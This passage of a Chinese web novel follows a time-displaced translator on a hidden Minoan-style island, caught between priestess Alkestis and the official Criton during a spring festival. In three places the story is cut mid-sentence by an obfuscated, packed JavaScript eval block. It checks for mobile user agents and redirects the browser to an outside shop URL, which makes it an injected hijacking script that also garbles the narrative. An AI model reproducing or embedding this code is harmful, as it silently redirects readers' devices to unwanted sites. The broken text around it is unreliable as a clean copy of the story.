“他等了三十年,”重新启航后,利诺斯才低声说,声音在海风中有些飘忽,“就为了把这个送回它该去的地方。他是最后一个记得那条特定航线的人。” “包裹里是什么?” “一些种子。一种据说只在那个岛屿特定山谷生长的、近乎绝迹的草药。还有……一块陶片,上面有符号。”利诺斯没有多说。 他们继续向东南航行。天气开始变得诡异,阳光时而明亮,时而迅速被不知从何处涌来的乳白色浓雾吞噬。没有阳光装饰的大海,晦涩阴暗,海流的方向也变得暧昧不明。利诺斯的神情越来越专注,他不再依赖明确的星座,而是观察海水的颜色、云层的纹理,甚至倾听风穿过帆索的声音,像是在解读一种无声的语言。 “我们进入了记忆的迷雾,”他有一次对余茶说,“这里的时间和方向,与外界不同。跟紧我的指引,不要相信你眼睛看到的全部景象。” 不知在迷雾中航行了多久,也许一天,也许十天。就在余茶从最初迷路的恐惧转变成无所谓生死的麻木时,迷雾突然变得稀薄。眼前豁然开朗。 一座巨大的岛屿矗立在面前,山势巍峨,覆盖着茂密的、与希腊本土植被略显不同的森林。海岸线曲折,能看到远处有仿佛天然形成的巨大港口轮廓。最引人注目的,是岛屿中央群山之上,隐约可见的、庞大的阶梯状建筑遗迹,虽然残破,依然能感受到昔日的宏伟。那不是希腊式的卫城,而是米诺斯宫殿的样式。 小艇缓缓靠向一处看起来有人工修整痕迹的小码头。码头很简陋,空无一人。但当他们系好船,踏上坚实的土地时,从码头旁的树林中,悄然走出了三个人。 为首的是位中年女性,穿着朴素。但余茶却有些惊讶,因为女子穿了一条蓝色长裙。在小镇这段时间,即使是偶尔出现的富人,也没有人穿着过蓝色的衣服,所以她一直以为这个时代蓝色尚未用在衣服染色上或者极为昂贵。中年女性头上未戴任何希腊风格的首饰,发间插着一把小巧的、金色双头斧形状的金属发簪。她的面容平静,眼神锐利如鹰,直接看向利诺斯,然后用一种缓慢而清晰的、与老人临终前所用类似的古语询问。 利诺斯恭敬地行礼,用同样的语言回答,并拿出了老人托付的包裹。女子的目光在包裹上停留许久,然后转向余茶。她的眼神在余茶脸上逡巡,没有敌意,只有深沉的探究。 “这位是来自远方的旅者,懂得古老的符号,或许能沟通。”利诺斯用古希腊语介绍,算是解释。 女子微微颔首,忽然用带着浓重口音、但能听懂的希腊语说道:“风暴带来陌生客,灰烬指引迷途人。你身上有时间错位的痕迹,还有……‘记录者’的气息。”她的目光似乎穿透了余茶的破斗篷,看到了她怀中的羊皮卷。 余茶屏住呼吸。这个女人,知道些什么? “跟我来,”女子转身,“阿尔克提斯祭司要见你们。她一直在等待……新的‘变数’。” 她与利诺斯交换了一个眼神。利诺斯的眼中也充满了凝重与期待。 他们跟随女子和她的同伴,离开码头,沿着一条被落叶覆盖的古老石阶小径,向岛屿深处,那片迷雾笼罩的群山宫殿遗迹走去。空气中弥漫着泥土、树木和一种淡淡的、奇异的香料气味。远处,似乎传来一声悠长的、类似海螺号的鸣响,回荡在山谷之间。 余茶知道,她终于踏上了寻找她自己穿越之谜的线索之地。而这位即将见到的、名叫阿尔克提斯的祭司,有可能是掌握核心答案的人。 4. 双面祭祀 引路的女子自称艾拉,是女祭司阿尔克提斯的助手。她沉默寡言,步履轻捷如羚羊,带着余茶和利诺斯在山林小径间穿行。路旁的植被愈发茂密古老,巨大的蕨类植物和扭曲的橄榄树遮蔽了大部分天光。空气中那种奇异的香料气味时浓时淡,仿佛某种无形的结界。 偶尔,他们会经过一些半坍塌的石砌小屋,有些已空置,有些门口坐着眼神警惕的老人或好奇张望的孩童,他们的衣着简单,男女都身材高挑瘦长,黑色的卷曲头发被小发冠固定在头上一部分,其余散下披在肩后,皮肤与希腊的渔民不同,是带红色调的麦棕色,服饰是某种混合风格——基本的剪裁类似希腊希顿,但即便是平民的衣服,在衣角或者衣袖边缘都带了点些鲜艳颜色和螺旋、波浪、抽象动物形态的装饰纹样。他们看到艾拉和后面的陌生来客,大多只是默默注视,或低声用那种音节简短的古语交谈几句,并无喧嚣。 “这里是‘山民’的村落,”艾拉用她生硬的希腊语简短解释,“我们遵循古老的方式生活,不常去下面。” “下面?”余茶问。 “港口附近,新城。”艾拉语气平淡,听不出情绪,“那里有集市、神庙,”她吐这个词时略带迟疑,“还有科斯摩的科斯米翁。外面来的希腊人大多住那里,还有一些……忘记根源的人。” 余茶明白了。这座岛屿并非完全与世隔绝,存在着明显的内部区隔与权力结构——代表古老传统的山民与祭司,以及代表其他势力的科斯摩?及其追随者。双方对土地与信仰主导权的争夺,很像羊皮卷上“旧神与新神”冲突的具象化。 他们最终抵达的并非山巅那座庞大遥远的宫殿废墟,而是位于半山腰一处天然平台上的建筑群。这里的建筑也以石砌为主,但保存相对完好,中央是一座带柱廊的长方形大厅,风格融合了米诺斯宽敞厅堂的特点与后期希腊建筑的些许比例感。大厅门口两侧,立着两尊磨损严重、但仍能看出是公牛形状的石雕,牛角上挂着新鲜的花环和谷物穗。 “在这里等候。”艾拉说完,独自进入大厅。 余茶和利诺斯站在廊下,能听到远处隐约传来有节奏的敲击声和若有若无的吟唱,似乎是某种仪式的排练。空气里弥漫着更浓郁的香料味,夹杂着新割草药和蜂蜜的甜香。 不一会儿,艾拉返回,示意他们进去。 大厅内部比外面看起来更加宽敞高深。光线从高处的通风窗射入,形成一道道朦胧的光柱。地面绘制着巨大的、褪色但仍可辨的色彩斑斓的螺旋与迷宫图案。大厅尽头,没有神像,只有一个石砌的椭圆形祭坛,坛中燃着不旺但持久的火焰,散发出清冽的松脂和某种树脂混合的气味。 祭坛前,站着一位女性。 她身量颇高,有1米8左右,穿着一件深紫色滚黑边的长袍,样式古朴,染了土红色、淡黄色和黑色花纹的羊毛腰布层层叠叠,形状如钟,圈出了她结实纤细的腰肢,衣服很特别,绝非希腊款式。头发已灰白大半,用一根金色双头斧形状的发冠在脑后挽成较大的发髻,两侧还装饰了几片圆形金饰,剩下的卷发整齐地垂在胸旁。她的面容有着石雕般的清晰轮廓,与雅典人不同,头颅相对细长、鼻梁精致高耸,墨色眼瞳让本来就大的眼睛更圆更大,眼神沉静深邃,仿佛能容纳整个爱琴海的星光与迷雾。她手里握着一根未经雕饰的木质长杖,杖头自然弯曲成双头斧样。 这就是阿尔克提斯。余茶立刻感觉到一种无形的压力,那不是威严的压迫,而是类似于面对浩瀚星空或深不可测的古井时,自然产生的敬畏与渺小感。 阿尔克提斯的目光先落在利诺斯身上,用那古语说了句什么。利诺斯以手抚胸,微微躬身,用同样的语言恭敬回答,并再次呈上那个油布包裹。阿尔克提斯接过,并未立即打开,只是轻轻抚过表面,眼中掠过一丝极淡的哀伤与释然。 “卡利翁终于回家了。”她用的是希腊语,口音比艾拉更轻,更接近余茶熟悉的古典发音,但仍有独特的古老韵律。“他带走的,不仅仅是种子和陶片,还有一条血脉对故土的记忆。谢谢你,歌者,完成了他的遗愿。” 然后,她的目光转向余茶。那目光仿佛具有实质,缓慢地扫过余茶全身,最终停留在她黑色的眼睛上。“而你……时间在你身上留下了不自然的褶皱。你不是这个时代的人,却说着这个时代的语言;你带着远方的知识,却对近在咫尺的古老毫无防备。”她的声音不高,却每个字都清晰敲打在余茶心上,“你怀里藏着一段被篡改的故事,你跌跌撞撞来到这里,是为了寻找真相,还是……你就是真相的一部分?” 余茶手心冒汗,脸颊因激动冒出了麻麻的鸡皮疙瘩,甚至手指都能感受到心脏狂跳的紧凑节奏。这位女祭司的洞察力远超她的想象。她强自镇定,从怀中取出那卷羊皮纸,双手呈上。“我……我不知道。我只是一个翻译,偶然接触到一些古老的文字,然后……就来到了这里。这段记述,似乎与赫西俄德所说的潘多拉神话不同。我想知道,为什么我会在这里,还能不能回去?” 阿尔克提斯没有接羊皮纸,只是瞥了一眼。“羊皮会腐朽,墨迹会褪色,口传的歌谣会被篡改。真正的‘记述’,刻在星辰运行的轨迹里,刻在海潮涨落的节奏里,刻在血脉传承的记忆里。”她顿了顿,“但你带来的这份‘篡改的证据’,依然有其价值。它证明了,有人害怕真正的故事被记起。” 她示意余茶收起羊皮纸。“你们来得是时候,也来得不是时候。春季大祭即将开始,持续九个昼夜。我们祭祀的不是奥林匹斯的狄俄尼索斯,而是更古老的、与葡萄藤、生命力、遗忘与记忆循环相关的神祇,我们称之为‘昂尼斯’。这是山民最重要的仪式,也是我们与下面科斯摩的‘执政官’势力,为数不多必须共同参与、却又暗流汹涌的时刻。” “执政官?”利诺斯适时发问。 “克里同,去过雅典的科斯摩’执政官‘,或者用新派的话说,‘恢复秩序与文明的代表’。”阿尔克提斯的语气依旧平淡,但“恢复”一词带着细微的讽刺,“他想要控制祭祀,将其‘规范化’,纳入对雅典娜和阿波罗的崇拜体系。他更想削弱山民对岛屿传统事务的影响力,尤其是对港口贸易和矿产的掌控。祭祀期间,是他观察、试探,也是我们展示力量与坚持的时刻。” “我们需要做什么?”利诺斯问。 “歌者,你的音乐可以安抚人心,也可以传递隐秘的信息。我需要你在公开的祭祀场合,吟唱那些被允许的、关于生命与循环的古调。同时,”阿尔克提斯目光锐利地看着他,“留意克里同和他的随从。他们一定会试图接触你,打探消息,或者……收买。” 利诺斯面色不变,点了点头。 “至于你,异乡的翻译者,”阿尔克提斯看向余茶,“你的笔,比你的口舌更有用。祭祀中会有许多古老的符号、器具出现,有些甚至连艾拉她们也未必完全明了其远古含义。我要你仔细观察,尽可能记录下你所看到的一切——仪式的步骤、使用的物品、人们,尤其是老人无意识念诵的词汇。用你熟悉的任何方式。你的‘外来者’视角和知识,或许能注意到我们习以为常中的异常。” 她顿了顿,声音压低了些:“特别是,注意任何与‘容器’、‘光’、‘眼睛’相关的仪式环节或象征物。” 羊皮纸上的关键词!余茶精神一振,用力点头。 “你们可以留在山民村落。艾拉会安排住处。记住,在‘下面’的人面前,你们只是偶然到访、对古老仪式感兴趣的外来旅人。歌者是游吟诗人,你是他的助手兼抄写员。不要暴露你们与我单独会面,以及真正的目的。”阿尔克提斯说完,挥了挥手,示意会面结束。 接下来的两天,余茶和利诺斯被安顿在村落边缘一间干净的石屋。他们目睹了山民为祭祀忙碌的准备:编织特殊的花环、打磨祭祀用的黑曜石匕首和铜盘、酿造一种深紫色的、气味醇厚而奇特的酒液、排练复杂的队列与舞蹈。气氛庄重而隐含着兴奋。 利诺斯很快融入,他用里拉琴弹奏的几首简单古调赢得了山民的好感,尤其是一些老人,听到某些旋律时会露出恍惚追忆的神情。余茶则尽量低调,用炭笔和从艾拉那里得到的少量粗糙纸莎草片,偷偷记录所见所闻。她确实注意到许多非希腊的符号:双头斧、公牛角、迷宫、章鱼和螺旋的变体,都被用在装饰和器物上。 祭祀前夜,利诺斯找到独自在屋后观察星空的余茶。“明天开始,我就不能随时照应你了。”他低声道,淡琥珀色的眼睛在夜色中显得格外明亮,“阿尔克提斯祭司说得对,克里同的人一定会找我。我可能需要……与他们周旋。” “会有危险吗?”余茶问。 “危险一直都有。”利诺斯笑了笑,那笑容里有些余茶看不透的东西,“记住你的角色,多看,多记,少说。如果遇到紧急情况,去找艾拉。还有……”他犹豫了一下,“如果祭祀中发生任何超出常规的、难以理解的事情,尤其是与‘感知’、‘记忆’或‘空间’错乱相关,优先保护自己。这座岛,还有这祭祀,隐藏的力量比表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余茶混在山民妇女中,努力记录一切。她看到阿尔克提斯在奠酒时,使用的是绘有复杂迷宫图案的特定陶瓶;看到舞蹈者手腕系着刻有螺旋符号的金属铃铛;听到老人们在某些特定时刻集体哼唱的无词歌谣,音调奇特,仿佛能引起空气的共振。 第三天下午,在一次集体舞蹈后的休息间隙,余茶注意到利诺斯不见了。她心中一紧,想起他的警告。悄悄环视,发现克里同身边那个总是眯着眼睛的瘦高仆人也不见了。 她借口取水,离开人群,朝着圣地边缘一片用于堆放杂物和临时休息的橄榄树林走去。刚靠近树林,就听到里面传来压低声音的交谈,是希腊语。 “……诗人,你的音乐很动人,但你的来历,和你那位‘助手’,同样令人好奇。”是那个瘦高仆人的声音。 “一个流浪歌者,一个偶然救下的落难抄写员,仅此而已。”利诺斯的声音听起来轻松随意,“克里同对古老歌谣也感兴趣?” “尊敬的克里同对一切能帮助他‘理解’并‘管理’这座岛屿的事情都感兴趣。”仆人的声音带着诱惑,“尤其是那些……可能沟通‘山上’与‘山下’的人。你的音乐似乎能让那些顽固的老家伙露出不一样的表情。也许,你可以帮助科斯摩更好地聆听他们的‘需求’?当然,酬劳会让你满意,无论是银币,还是……安全的离境船只。毕竟,这岛上的迷雾,有时只对熟悉它的人散开。” 短暂的沉默。 “我需要考虑。”利诺斯说。 “祭祀结束前,给我答复。记住,选择清晰的道路,总是比在迷雾中徘徊安全。”仆人说完,脚步声响起,似乎是离开了。 余茶屏息躲在树后,看着随后慢慢踱步离开的利诺斯,有些拿不准,利诺斯会答应吗?他是假意周旋,还是…… 她不敢多想,等到外面彻底安静,才匆匆返回祭祀人群。过了一会儿,她看到利诺斯也若无其事地回来了,继续弹奏他的里拉琴,仿佛什么都没发生过。只是,在一次目光无意间相遇时,他极快、极轻微地对她摇了摇头,眼神深处有一丝复杂的、余茶读不懂的东西。 祭祀仍在继续,鼓声、歌声、火焰劈啪声、人群的喧嚣混合在一起。但余茶却感到一股寒意,从脚底慢慢升起。这看似庄严盛大的古老仪式之下,权力的暗流、信仰的冲突、个人的抉择,正如同地下潜行的根须,悄然蔓延,随时可能破土而出,将所有人卷入不可知的漩涡。 而利诺斯,这位她始终看不透的游吟诗人,此刻究竟站在哪一边? 5. 流放的阴影与破碎的图谱 春季大祭的喧腾在第五个昼夜显出了疲态。暮色中的“酒神之苑”,篝火映照着一张张被酒意和重复仪式熏染得有些木然的脸。余茶蹲在营地边缘的草棚阴影里,指尖被粗糙的纸莎草片边缘划得生疼,却仍飞速记录着:三名辅祭老者环绕泉水行走时特定的错步顺序、他们手中铜铃摇动频率的微妙变化、还有当某颗亮星升至崖顶特定石笋上方时,主祭老人喉间发出的那个异常悠长的、带着颤音的闭口音。山民在祭祀中逐渐显现出金钱的实力,他们的服饰每天不同,越来越精美,有些祭司甚至是华贵,除了彩色的衣饰,纯金的雕刻精致的配着稀有长羽毛的头饰,大祭司手上那根木质手杖内竟然是一只纯金手杖,手杖头是一条镶嵌红宝石的蛇头。 然而,一向贪财的余茶此刻脑子里根本挤不进“金子”‘昂贵’这些词。当生存和逼近核心谜团的刺激感攫住神经时,那种市侩的算计就像潮水退去后露出的苍白沙滩,寡淡且无关紧要。她记录的每一笔,都是在未知深渊上搭建脆弱的认知桥梁,这带来的颅内震颤,远非金银叮当可比。 不远处,利诺斯正被克里同的几位宾客围住。一位来自米利都的商人将一只镶嵌琥珀的银杯递到他唇边,大笑着赞美他昨夜即兴将吕底亚调式融入古老颂歌的“妙想”。“诗人,你的琴弦拨动的何止是音符,简直是金币的响动!”商人喷着酒气说。利诺斯仰头饮尽,淡琥珀色的眼睛里漾着愉悦的微光,指尖在琴弦上一滑,淌出一串华丽又略带揶揄的琶音。 “音乐与美酒一样,当下愉悦便是全部意义。”他的声音因酒精而更添一层丝绸般的质感,轻易盖过了远处的鼓声,“至于它产自雅典的学院还是荒野的篝火,敬奉的是宙斯的雷霆还是某位连名字都已湮灭的古老神祇……谁在乎呢?”他笑着接过另一杯酒,眼神掠过人群,在余茶蜷缩的阴影处略微一停,旋即又漫开,仿佛只是扫过一件无关紧要的布景。享乐是他的宗教,宴饮是他的疆域,忠诚与归属是过于沉重的负担。 余茶垂下眼,炭笔在“颤音”旁狠狠点了一个黑点。树林里的低语、他此刻的漫不经心,让她不由得担忧。这个把人生当作一场盛大游宴的诗人,真的会为了某种“伟大的真相”而冒险吗?还是说,只要价码足够有趣或舒适,他随时可以转手任何秘密? 艾拉幽灵般的身影再次出现在棚外。余茶收敛心神,藏好笔记,跟随她又一次潜入逐渐深沉的山影。 这次的目的地是半山腰以上,一处更为隐蔽的石窟,入口被层层叠叠的古藤和一道巧妙的石隙遮蔽。内部空间不大,石壁上有用水溶矿物颜料绘制的壁画,年代久远,但应该会被定期修复,所以色彩依然艳丽,星辰、海浪、以及手持奇异仪杖的祭祀队伍栩栩如生。空气中有尘土和陈年草药混合的冷冽气味。 阿尔克提斯祭司已在其中。她褪去了白日祭祀的华服,仅着一袭毫无装饰的深灰色柔软麻袍,长发用一根简单的金簪束起,唯有手中那柄双头斧木杖,依然彰显着不容置疑的权威。跳跃的油灯火苗将她修长结实的侧影投在石壁上,明明灭灭,让那种基于信仰的深沉力量感与对掌控力的炽热追求交织得更为具体。 “异乡人,”她开门见山,目光如探针般落在余茶脸上,“这几日,可曾看到仪式中有什么……不应存在的‘空缺’,或本该连贯却显得生硬‘衔接’之处?” 余茶略一思索,指向笔记上记录的“错步顺序”和“颤音”:“这里,还有这里。三位辅祭的走位,在第七圈和第十三圈之间,有一个停顿和眼神交换,动作也略显迟疑,不像其他部分那么流畅。那个长颤音出现时,主祭的老人闭上了眼,但另外两位辅祭却似乎有些茫然,只是机械地跟随吟唱。好像……他们并不完全确定那个音的正确时长或效果。” 阿尔克提斯的瞳孔几不可察地收缩了一下。她沉默片刻,走到石窟内侧一个简陋的石龛前,小心捧出一个磨损严重的橡木匣。打开匣子,里面是几卷颜色暗沉、边缘残破的皮质碎片,一些刻画着模糊符号的薄石片,还有几件小巧的、似石非石、看不出用途的器物。 “你看得很细。”她的声音在石窟中带着回响,透出一种复杂的情绪——赞许中混杂着深沉的憾恨。“因为这些地方,本就是断裂的缺口。你所见的‘生硬’,是因为真正的链条,在百年前就断了。” 她拿起一块皮质碎片,上面用几乎褪尽的颜料画着类似舞蹈步点的示意图,但关键处已模糊。“我的祖先,米诺莎,是最后一任掌握全部‘昂尼斯之祭’核心奥秘的大祭司。她并非自然离世,也非战乱罹难。她是在一次岛内权力清洗中,被当时的统治者——一个与早期迈锡尼势力勾结的家族——联合岛上部分畏惧古老力量的长老,以‘施行危险秘仪、亵渎正神’的罪名,流放至海上,任其自生自灭。” 阿尔克提斯的语气冰冷而平直,但握着木杖的指节微微发白。“那时,家族的继承者,还不到十岁。大祭司的传承并非仅仅口授,更需要漫长岁月的亲身引领、在特定能量节点下的启悟。突如其来的流放,带走了所有深奥的核心:星象与地脉对应的秘钥、完整能量祷文的七重变化、黑曜石祭器在不同相位下的精确使用序列、以及……与‘本源’进行最深沟通的最终仪轨。” “留下的,”她指了指木匣中的零碎物件,“只有这些外围的辅助祭祀——他们只懂得自己负责的那一部分固定动作和祷词片段,就像只知道齿轮形状却不懂安装原理的工匠;以及这些残破的图谱、零星的器物。家族的后人就是在这些碎片和沉默的辅助者之间,艰难地试图拼凑出原貌,维持祭祀的形式不坠。” 余茶瞬间明白了。为什么这位手握传统权柄、看似深不可测的女祭司,会对一份外来羊皮纸的异端记述如此敏感,会对她这个能辨识古符号的“异乡人”抱有某种隐秘期待。阿尔克提斯所坚持的信仰,其核心殿堂是空的;她所热衷并运用的权势,不仅是用来对抗克里同一派,更是为了创造一个安全的环境,重新收集、拼合那些散落的碎片,试图打开那扇自先祖被放逐后就紧紧关闭的、通往完整传承的大门。信仰是她存在的基石,权势是她修复基石的工具,而失落的核心知识,是她权力合法性与精神力量的最终来源,也是她内心最大的焦虑与渴望。 “克里同知道这段历史吗?”余茶问。 “那个期望进入长老会的傻子?”阿尔克提斯嘴角勾起一丝冰冷的弧度,“他只看到表面——一个老掉牙的祭典,一群‘固执守旧’的山民。他那个热爱与雅典联系的家族或许听说过流放的故事,但只会将其理解为内部权力斗争。他感兴趣的,是如何将祭祀‘规范化’以换取权力,如何削弱我对山民的实际影响力,如何掌控港口的银币流动。他永远无法理解,他试图削弱的,并非一种简单的习俗,而是一个文明……断裂的脊柱。”她的话语中充满了对克里同智力与理解力的蔑视,以及对自己所承载之物——哪怕是破碎的不完整的,强烈自负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话音未落,石窟外极远处,似乎传来一声极轻微、像是某种夜栖禽鸟被惊动的扑翅声,旋即消失。 阿尔克提斯的眼神瞬间冻结,所有流露的情绪像被无形的抹布擦去,只剩锐利如鹰的警惕。她迅速合上木匣,对艾拉使了个眼色。艾拉像融化的影子般滑向洞口。 “看来,我们‘山下’的朋友,比我想的更不安分。”阿尔克提斯压低声音,语速加快,“从后面那条缝下去,立刻回营地,保持常态。记住月圆之夜。对谁都不要多说,尤其是你那位……善于在不同酒杯间寻找乐趣的同伴。” 余茶心慌了一下,但很快在艾拉示意下,钻进石窟后方一道几乎被钟乳石柱遮掩的狭窄裂缝,沿着湿滑陡峭的天然石阶,半蹲着慢慢向下滑走。 黑暗中,她思绪纷乱:百年前的流放、年幼继承者面前的传承断崖、依靠碎片维系权威的女祭司、月圆之夜危险的终仪拼图……还有利诺斯,那个将忠诚溶于美酒的诗人。 当她气喘吁吁、带着一身擦伤和湿冷回到营地边缘时,大部分人已醉倒或沉睡。她看见利诺斯独自坐在远离余烬的一块海礁上,面朝漆黑的大海。他手里不是琴,而是一个精致的双耳小陶瓶,正仰头喝着里面的东西。月光勾勒出他放松甚至慵懒的侧影,仿佛白日的一切应酬、可能的暗中交易,都不过是另一场无需在意的游戏。他似乎察觉到余茶的视线,没有回头,只是随意抬手,将陶瓶中最后一点液体倾倒进身下的海浪中,发出轻微的“哗啦”声。 然后,他站起身,拍了拍衣袍上不存在的沙子,吹着一段轻佻的小调,朝着港口方向,晃晃悠悠地走远,仿佛只是去赴另一场无关紧要的夜游。 余茶抱紧自己冰冷的双臂。传承的断裂处滋生着野心与焦灼,精致的享乐主义者随时可能将任何秘密兑换成眼前的欢愉。而她这个时间流亡者,被抛到了破碎图谱的中心,即将面对一场无人知晓全貌的月圆终仪。星辰在头顶无声移动,向着那个既定的夜晚逼近。 6. 银币、双耳瓶与未言之名 春季大祭第七日,祭祀中心暂时移回了半山腰的古老广场。连日的狂欢消耗着精力,空气中弥漫的不再是纯粹的宗教热忱,反而掺杂了疲惫、商业计算与隐隐的不安。余茶混在人群边缘,记录着仪式流程,目光却不时瞥向广场东侧临时搭起、带有遮阳布幔的观礼台。 台上,泾渭分明。 一端是阿尔克提斯祭司。她已换上全套祭祀礼服——深紫近黑的长袍,以金线绣着简化的海浪与星辰纹路,双头斧木杖立在身侧。她坐姿笔直,下颌微扬,目光平静地扫视着场中舞蹈,仿佛一切尽在掌握。但余茶注意到,她放置在膝上的左手,指尖无意识地在袍面轻轻敲击着某种古老的、不完整的节拍。信仰是她的铠甲,权势是她的利剑,而铠甲内的身躯正为传承的裂缝焦虑,利剑的锋刃需时时打磨以震慑对手。 另一端,是克里同及其随从。克里同穿着多利克式希顿,外面披着拥有完美褶皱的希玛纯,头戴银叶冠,姿态放松,手中把玩着一枚新铸的阿提卡制式银币,猫头鹰浮雕在阳光下闪烁。他的眼神很少停留在仪式本身,更多是在观察人群的反应,评估山民的数量与忠诚度,或是与身旁那位瘦高精明的书记官低声交谈,手指在空气里比划着数字和图形——那是税收与货物的形状。 游吟诗人利诺斯的位置很微妙。他没有资格上观礼台,却在台下最靠近台前的地方,被几个来自港口商队的头领围着。他弹奏着轻快的调子,歌词巧妙地恭维着商路的通达与海洋的慷慨,引得商人们大笑附和,将装满葡萄酒和干果的银盘推到他面前。他照单全收,淡琥珀色的眼睛笑意盈盈,仿佛全然沉浸在这宾主尽欢的时刻,对台上无声的角力视而不见。享乐是他的指南针,当下的舒适便是真理的小熊座。余茶看到,克里同的目光曾数次落在他身上,带着评估与一丝算计。 仪式的某个间歇,鼓声暂歇。克里同忽然站起身,声音用上了在雅典广场演讲练就的圆润与穿透力: “尊敬的阿尔克提斯祭司,诸位岛民与远道而来的朋友!值此昂尼斯神恩沐浴岛屿的庄严时刻,秉承长老会对大家的关怀与对秩序的共同追求,我有一项关乎岛屿繁荣与公正的提议,愿在此与大祭司及诸位长□□商。” 广场上的喧哗迅速平息,山民们脸上露出警惕。阿尔克提斯缓缓抬眸,声音平静无波:“请讲。” 克里同笑容可掬:“众所周知,我们岛屿的港口,是爱琴海东线重要的避风港与贸易节点。然而,港口的维护、灯塔的燃料、码头的整修,乃至维持公平交易所需的仲裁人力,皆需耗费资财。以往,这些费用征收方式……较为随意,有时由港务官酌情收取,有时则依赖慷慨船主的捐赠,不仅难以保障持续,也有失公允。” 他顿了顿,让书记官展开一卷写满字迹的羊皮纸:“因此,我提议,并已得到岛上部分德高望重人士的支持,”他刻意看了一眼观礼台上几位衣着光鲜、明显倾向他的本地富户,“建立一套清晰、公平的港口使用与货物税则。按船只大小、货物种类与价值,征收定额费用。所得款项,部分用于港口维护与公共安全,部分……亦可资助如春季大祭这般重要的传统活动,使其更为庄严恢弘。” 话说得冠冕堂皇,但核心就一个:他要从阿尔克提斯和山民传统上影响力最大的港口事务中,夺走最关键的经济命脉——征税权。一旦税收掌握在他手中,他就能用金钱吸引更多水手、商人依附于“新城”,削弱山民的经济基础,进而挤压阿尔克提斯的实际权威。 广场上山民发出嗡嗡的低议,几位长老脸色难看,另几位则面无表情。港口贸易的油水,历来是山民重要的收入来源,也是阿尔克提斯能够维持独立影响力、供养祭司团体、甚至暗中资助其寻找传承碎片的财政支柱。 阿尔克提斯的神色没有丝毫变化,甚至嘴角还维持着一点仪式性的弧度。她没有看那卷羊皮纸,而是将目光投向广场上那些皮肤黝黑、手上带着老茧的渔民和水手,以及几位在港口拥有仓库和影响力的山民家族代表。 “克里同的提议,确是为岛屿思虑。”她的声音不大,却奇异地压下了嘈杂,“港口有序,贸易兴盛,本是岛民之福。然而,”她话锋一转,如海流突遇暗礁,“税收之权,牵扯生存之本。岛屿传统,港口事宜由熟悉海况、了解各邦商旅习惯的港务长老会协同祭司,依循古老惯例与实际情况裁定。此乃数代人之平衡,亦是海神与昂尼斯神默许之秩序。骤然更迭,恐非神明所喜,亦可能扰乱商旅熟知之规,反损港口声誉。” 她根本不给克里同插话的机会,继续道:“况且,这港口维护诸费,历来由港务收入中支取,账目清晰,有据可查。若觉不足,大可增加投入比例,或商议开辟新财源,如开发岛上无主矿脉,何必动及根本征税法?” 以传统对抗变革,以神明威慑利益,以具体账目质疑模糊说辞,同时抛出矿脉作为替代方案转移矛盾焦点。阿尔克提斯的反击精准而老辣。她深知,此刻绝不能示弱。 克里同脸上的笑容淡了些:“大祭司所言固有道理。然则,时代在变,雅典有更先进的管理方法与更广阔的贸易网络,学习他们的税则,长远看,有利于吸引更大、更稳定的商队。至于矿脉开发,非一日之功。而港口税收,立竿见影。” “学习?”阿尔克提斯微微侧头,露出一个近乎天真的疑惑表情,“作为科斯摩的一员,克里同是说,要让我们岛屿的港口,完全遵照雅典比雷埃夫斯港的规矩?那是否意味着,过往给予斯巴达商船、周边岛屿渔船、甚至更远方商旅的优惠与特殊通道,都要取消?这恐怕……会让很多老朋友感到陌生与失望。”她轻轻点出了克里同方案可能触动的实际利益集团,尤其是那些与山民有长期私下协议、未必喜欢雅典税制的商船主。 观礼台下,一些来自其他城邦的商队头领开始交头接耳。 克里同眼神微冷,知道遇到了难缠的对手。他正欲再言,台下忽然传来一阵压抑的骚动。一个山民装束的老水手,满脸愤怒地挤到台前,手里举着一个破裂的双耳陶瓶,瓶身上有一个独特的、像简化公牛头的烙印。 “尊敬的长老们!”老水手声音嘶哑,“今天早上,克里同新任命的港务官带人上船,说要用新的‘标准量器’核查货物!就用这种瓶子!”他愤怒地指着瓶身上的烙印,“可这瓶子比我们用了十几年的旧量器,足足少了半掌的容量!他们说以后都要按这个算税!这不是明抢吗?!” “哗——!”人群瞬间炸开。如果说刚才的争论还有些抽象,这实实在在的“短斤少两”立刻点燃了山民和许多小船主的怒火。指责声四起,矛头直指克里同。 克里同脸色一变,厉声道:“休得胡言!新量器经过校准,完全符合标准!定是你这愚蠢的老酒鬼弄错了,或想逃避检查!” “我没弄错!”老水手脸涨得通红,“大家都可作证!这种新瓶子,就是比旧的小!” 场面眼看要失控。阿尔克提斯适时站起身,木杖轻轻一顿地面,发出沉闷的响声。喧嚣为之一静。 “此事关乎公正,不可轻忽。”她声音沉稳,带着不容置疑的权威,“既有争议,按岛屿旧例,当由祭司、港务长老会中德高望重者、及涉事双方共同在场,于海神庙前,以清水与标准砝码公开校核。若新器无误,自当推行;若真有差池……”她目光转向克里同,眼神深邃,“则需严查,是何人从中舞弊,意图损害岛屿信誉与科斯摩治下清名?” 她将“科斯摩治下清名”咬得清晰,一下子把克里同架在了火上——如果真是他手下搞鬼,他难辞其咎;如果他强行压下,便是公然践踏岛屿传统与公正。 克里同脸颊肌肉抽动了一下。他狠狠瞪了那老水手和台下群情激奋的人群一眼,知道此刻强硬不得。他挤出一丝笑容:“大祭司所言甚是。公正为先。此事,我会亲自督促核查。” 第一回合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226077|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 